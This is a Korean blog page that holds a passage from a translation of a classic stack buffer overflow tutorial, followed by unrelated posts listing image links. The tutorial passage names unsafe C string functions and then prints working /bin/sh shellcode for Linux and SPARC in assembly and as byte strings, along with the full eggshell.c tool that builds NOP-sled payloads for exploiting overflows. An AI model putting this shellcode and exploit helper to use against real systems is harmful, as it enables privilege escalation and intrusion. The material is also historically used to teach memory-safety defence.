 앞에서 말했듯이, 버퍼 오버플로우는 다룰 수 있는 것보다 더 많은 정보를 버퍼에
채움으로써 일어난다. C는 기본적으로 문자길이 확인(bound checking)을 하지 않기
때문에, 오버플로우는 문자배열의 끝을 지나서 기록함으로써 나타난다. 표준의 C
라이브러리는 bound checking을 하지 않는, 문자열을 복사하거나 덧붙이는 많은
함수들을 제공한다. 이것들을 포함한다: strcat(), strcpy(), sprintf(), vsprintf(). 이 
함수들은 null로 종료되는 문자열에서 작용하고, 전해 받고 있는 문자열의 오버플로우에
대해서는 체크하지 않는다. gets()는 새로운 줄(newline) 문자나 EOF가 나올때까지
stdin(표준 입력)으로부터 1줄을 읽어서 buffer에 기록한다. 이것은 버퍼 오버플로우에
대한 체크를 전혀 하지 않는다. scanf() 함수형들은, 만약 여러분이 공백문자가 아닌
(non-white-space) 문자열(%s)을 매치시키거나 혹은 명기된 세트(%[])로부터 
공백아닌 문자열을 매치시키고, char 포인터에 의해 가르켜진 배열이 문자열 전부를 
받아들일 수 있을만큼 크지 않고, 선택사항인 최대 필드 폭을 정의하지 않는다면, 
또한 문제가 발생할 수 있다.

* 역자주 - white-space charaters : space, tab, carriage return, new line,
vertical tab, or formfeed (0x09 to 0x0D, 0x20)
 
 우리가 찾는 또 다른 보통의 프로그래밍 구성은, 표준입력에서 혹은 어떤 파일에서 
줄의 마지막(end of line), 파일의 끝(end of file), 혹은 다른 구획문자(delimiter)에 
도달할때까지, 한 번에 한 문자씩 읽어서 버퍼에 기록하기 위해, while 루프를 
사용하는 것이다. 이런 구성은 보통 이런 함수들 중 하나를 사용한다:
getc(), fgetc() 또는 getchar(). 만약 while 루프에서 오버플로우를 위한 명백한
체크를 하지 않는다면, 그런 프로그램들은 쉽게 이용될 수 있다.
  
 결론을 내리자면, grep(1)은 여러분의 친구다. 공짜 운영체계들과 그것들의 유틸리티들의
소스들은 쉽사리 입수할 수 있다. 이 사실은, 여러분이 많은 통상의 운영체계들의 유틸리티들이
공짜 것들과 같은 소스에서 파생되었다는 사실을 깨닫게되면, 꽤 흥미로워 질 것이다.
d00d 소스를 사용하라.

      부록 A - 다른 운영체계와 아키텍처를 위한 쉘코드
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

i386/Linux
------------------------------------------------------------------------------
        jmp    0x1f
        popl   %esi
        movl   %esi,0x8(%esi)
        xorl   %eax,%eax
	movb   %eax,0x7(%esi)
        movl   %eax,0xc(%esi)
        movb   $0xb,%al
        movl   %esi,%ebx
        leal   0x8(%esi),%ecx
        leal   0xc(%esi),%edx
        int    $0x80
        xorl   %ebx,%ebx
        movl   %ebx,%eax
        inc    %eax
        int    $0x80
        call   -0x24
        .string \"/bin/sh\"
------------------------------------------------------------------------------

SPARC/Solaris
------------------------------------------------------------------------------
        sethi   0xbd89a, %l6
        or      %l6, 0x16e, %l6
        sethi   0xbdcda, %l7
        and     %sp, %sp, %o0
        add     %sp, 8, %o1
        xor     %o2, %o2, %o2
        add     %sp, 16, %sp
        std     %l6, [%sp - 16]
        st      %sp, [%sp - 8]
        st      %g0, [%sp - 4]
        mov     0x3b, %g1
        ta      8
        xor     %o7, %o7, %o0
        mov     1, %g1
        ta      8
------------------------------------------------------------------------------

SPARC/SunOS
------------------------------------------------------------------------------
        sethi   0xbd89a, %l6
        or      %l6, 0x16e, %l6
        sethi   0xbdcda, %l7
        and     %sp, %sp, %o0
        add     %sp, 8, %o1
        xor     %o2, %o2, %o2
        add     %sp, 16, %sp
        std     %l6, [%sp - 16]
        st      %sp, [%sp - 8]
        st      %g0, [%sp - 4]
        mov     0x3b, %g1
	mov	-0x1, %l5
        ta      %l5 + 1
        xor     %o7, %o7, %o0
        mov     1, %g1
        ta      %l5 + 1
------------------------------------------------------------------------------


                  부록 B - 일반적인 버퍼 오버플로우 프로그램
                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

shellcode.h
------------------------------------------------------------------------------
#if defined(__i386__) && defined(__linux__)

#define NOP_SIZE	1
char nop[] = "\x90";
char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}

#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)

#define NOP_SIZE	4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
  "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
  "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

unsigned long get_sp(void) {
  __asm__("or %sp, %sp, %i0");
}

#elif defined(__sparc__) && defined(__sun__)

#define NOP_SIZE        4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
  "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
  "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
  "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
  "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";

unsigned long get_sp(void) {
  __asm__("or %sp, %sp, %i0");
}

#endif
------------------------------------------------------------------------------

eggshell.c
------------------------------------------------------------------------------
/*
 * eggshell v1.0
 *
 * Aleph One / aleph1@underground.org
 */
#include <stdlib.h>
#include <stdio.h>
#include "shellcode.h"

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048

void usage(void);

void main(int argc, char *argv[]) {
  char *ptr, *bof, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;

  while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
    switch (c) {
      case 'a':
        align = atoi(optarg);
        break;
      case 'b':
        bsize = atoi(optarg);
        break;
      case 'e':
        eggsize = atoi(optarg);
        break;
      case 'o':
        offset = atoi(optarg);
        break;
      case '?':
        usage();
        exit(0);
    }

  if (strlen(shellcode) > eggsize) {
    printf("Shellcode is larger the the egg.\n");
    exit(0);
  }

  if (!(bof = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;
  printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
    bsize, eggsize, align);
  printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);

  addr_ptr = (long *) bof;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
    for (n = 0; n < NOP_SIZE; n++) {
      m = (n + align) % NOP_SIZE;
      *(ptr++) = nop[m];
    }

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  bof[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';

  memcpy(egg,"EGG=",4);
  putenv(egg);

  memcpy(bof,"BOF=",4);
  putenv(bof);
  system("/bin/sh");
}

void usage(void) {
  (void)fprintf(stderr,
    "usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n");
}
------------------------------------------------------------------------------



Posted by SITD
, |

[ㅇㅉ] 모음

기타/움 / 2012. 11. 14. 00:34


<img src="https://t1.daumcdn.net/cfile/tistory/124E165050A2686B08" height="240" width="320">


http://img811.imageshack.us/img811/329/bbo4.gif


http://img708.imageshack.us/img708/43/bbo5.gif

http://img585.imageshack.us/img585/9243/bbouk.gif


http://img341.imageshack.us/img341/7981/bbowhat.gif

http://img39.imageshack.us/img39/2257/bbojjakjjakjjak.gif

http://img40.imageshack.us/img40/27/bbochoiak.gif

http://img560.imageshack.us/img560/8356/bboeomeo.gif

http://img132.imageshack.us/img132/8613/bboeottukea.gif

http://img705.imageshack.us/img705/3382/bboshock.gif

http://img94.imageshack.us/img94/8890/bboconshock.gif

http://img547.imageshack.us/img547/463/bboireolsuka.gif

http://img694.imageshack.us/img694/4814/bboggumjjik.gif

http://img543.imageshack.us/img543/4409/bbojjajeung.gif

http://img547.imageshack.us/img547/4219/bbohuk.gif

http://img716.imageshack.us/img716/1087/bbofunny.gif




'기타 > ' 카테고리의 다른 글

똘망  (0) 2012.11.13
ㄲㅉ  (0) 2012.11.13
달리기  (0) 2012.11.13
Posted by SITD
, |

똘망

기타/움 / 2012. 11. 13. 02:41



<img src="https://t1.daumcdn.net/cfile/tistory/0304803C50A134C10E" height="240" width="320">


http://img528.imageshack.us/img528/9769/bbo3.gif


'기타 > ' 카테고리의 다른 글

[ㅇㅉ] 모음  (0) 2012.11.14
ㄲㅉ  (0) 2012.11.13
달리기  (0) 2012.11.13
Posted by SITD
, |

최근에 달린 댓글

글 보관함